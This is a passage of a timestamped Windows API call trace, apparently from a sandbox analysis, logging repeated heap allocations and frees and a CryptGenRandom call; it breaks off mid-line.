[0073.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8538 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7700 [0073.781] GetCurrentThreadId () returned 0x9b0 [0073.781] GetCurrentThreadId () returned 0x9b0 [0073.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7700 | out: hHeap=0x2ad0000) returned 1 [0073.781] GetCurrentThreadId () returned 0x9b0 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcd98 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bef0 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7be00 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0073.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af30 [0073.781] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71700 [0073.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0073.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7be00 | out: hHeap=0x2ad0000) returned 1 [0073.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bef0 | out: hHeap=0x2ad0000) returned 1 [0073.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0073.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0073.781] GetCurrentThreadId () returned 0x9b0 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8538 | out: hHeap=0x2ad0000) returned 1 [0073.782] GetCurrentThreadId () returned 0x9b0 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb828 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c16af0 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0073.782] GetCurrentThreadId () returned 0x9b0 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c798e8 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2cf) returned 0x2bc4f48 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71940 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bec0 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af20 [0073.782] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af10, Size=0x14) returned 0x2a71580 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bec0 | out: hHeap=0x2ad0000) returned 1 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bef0 [0073.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c16af0 | out: hHeap=0x2ad0000) returned 1 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc778 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7be00 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af30 [0073.783] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b000, Size=0x14) returned 0x2a71660 [0073.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0073.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7be00 | out: hHeap=0x2ad0000) returned 1 [0073.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0073.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7be00 [0073.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbfd0 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb518 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af40 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0073.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bcb0 [0073.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aed0 [0073.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae60 [0073.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aed0, Size=0x14) returned 0x2a71940 [0073.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bcb0 | out: hHeap=0x2ad0000) returned 1 [0073.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af40 | out: hHeap=0x2ad0000) returned 1 [0073.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbfd0 | out: hHeap=0x2ad0000) returned 1 [0073.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9e4) returned 0x2bc8760 [0073.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9b842c | out: lpSystemTimeAsFileTime=0x9b842c*(dwLowDateTime=0xf4cfe0e3, dwHighDateTime=0x1d5215d)) [0073.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9d9) returned 0x2c7f2c8 [0073.784] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0073.784] GetProcAddress (hModule=0x761b0000, lpProcName="CryptAcquireContextA") returned 0x761cfc40 [0073.784] GetProcAddress (hModule=0x761b0000, lpProcName="CryptGenRandom") returned 0x761d0730 [0073.784] CryptAcquireContextA (in: phProv=0x73172fe0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x73172fe0*=0x1052bf0) returned 1 [0074.086] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x9c4, pbBuffer=0x2c7f2dc | out: pbBuffer=0x2c7f2dc) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bec0 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bec0 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x139d) returned 0x2c7fcb0 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa78) returned 0x2c81058 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcb0 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa10 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa74) returned 0x2c7f2c8 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa70) returned 0x2c7fd48 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa6c) returned 0x2c7f2c8 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd48 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa68) returned 0x2c7fd48 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa64) returned 0x2c7f2c8 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd48 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa60) returned 0x2c7fd38 [0074.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa5c) returned 0x2c7f2c8 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd38 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa58) returned 0x2c7fd38 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa54) returned 0x2c7f2c8 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd38 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a19298 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa50) returned 0x2c7fd28 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa48) returned 0x2c7f2c8 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd28 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa44) returned 0x2c7fd18 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa40) returned 0x2c7f2c8 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd18 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa3c) returned 0x2c7fd18 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa38) returned 0x2c7f2c8 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd18 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa34) returned 0x2c7fd08 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa30) returned 0x2c7f2c8 [0074.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd08 | out: hHeap=0x2ad0000) returned 1 [0074.087] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x80) returned 0x2a86ac0 [0074.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa2c) returned 0x2c7fd08 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa28) returned 0x2c7f2c8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fd08 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa24) returned 0x2c7fcf8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa20) returned 0x2c7f2c8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcf8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa1c) returned 0x2c7fcf8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa18) returned 0x2c7f2c8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcf8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa14) returned 0x2c7fce8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa10) returned 0x2c7f2c8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fce8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa08) returned 0x2c7fce8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa04) returned 0x2c7f2c8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fce8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa00) returned 0x2c7fcd8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9fc) returned 0x2c7f2c8 [0074.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcd8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9f8) returned 0x2c7fcd8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9f4) returned 0x2c7f2c8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcd8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9f0) returned 0x2c7fcc8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9ec) returned 0x2c7f2c8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcc8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a86ac0, Size=0x100) returned 0x2c32118 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9e8) returned 0x2c7fcc8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9e4) returned 0x2c7f2c8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcc8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9e0) returned 0x2c7fcb8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9dc) returned 0x2c7f2c8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcb8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9d8) returned 0x2c7fcb8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9d4) returned 0x2c7f2c8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fcb8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9d0) returned 0x2c7fca8 [0074.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9c8) returned 0x2c80680 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fca8 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9c4) returned 0x2c7f2c8 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c80680 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9c0) returned 0x2c7fc98 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9bc) returned 0x2c7f2c8 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc98 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9b8) returned 0x2c7fc98 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9b4) returned 0x2c7f2c8 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc98 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9b0) returned 0x2c7fc88 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9ac) returned 0x2c7f2c8 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc88 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9a8) returned 0x2c7fc88 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9a4) returned 0x2c7f2c8 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc88 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9a0) returned 0x2c7fc78 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x99c) returned 0x2c7f2c8 [0074.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc78 | out: hHeap=0x2ad0000) returned 1 [0074.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x998) returned 0x2c7fc78 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x994) returned 0x2c7f2c8 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc78 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x990) returned 0x2c7fc68 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x988) returned 0x2c7f2c8 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc68 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x984) returned 0x2c7fc58 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x980) returned 0x2c7f2c8 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc58 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x97c) returned 0x2c7fc58 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x978) returned 0x2c7f2c8 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc58 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x974) returned 0x2c7fc48 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x970) returned 0x2c7f2c8 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc48 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x96c) returned 0x2c7fc48 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x968) returned 0x2c7f2c8 [0074.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc48 | out: hHeap=0x2ad0000) returned 1 [0074.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x964) returned 0x2c7fc38 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c32118, Size=0x200) returned 0x2acb7f8 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x960) returned 0x2c7f2c8 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc38 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x95c) returned 0x2c7fc38 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x958) returned 0x2c7f2c8 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc38 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x954) returned 0x2c7fc28 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x950) returned 0x2c7f2c8 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc28 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x948) returned 0x2c7fc28 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | 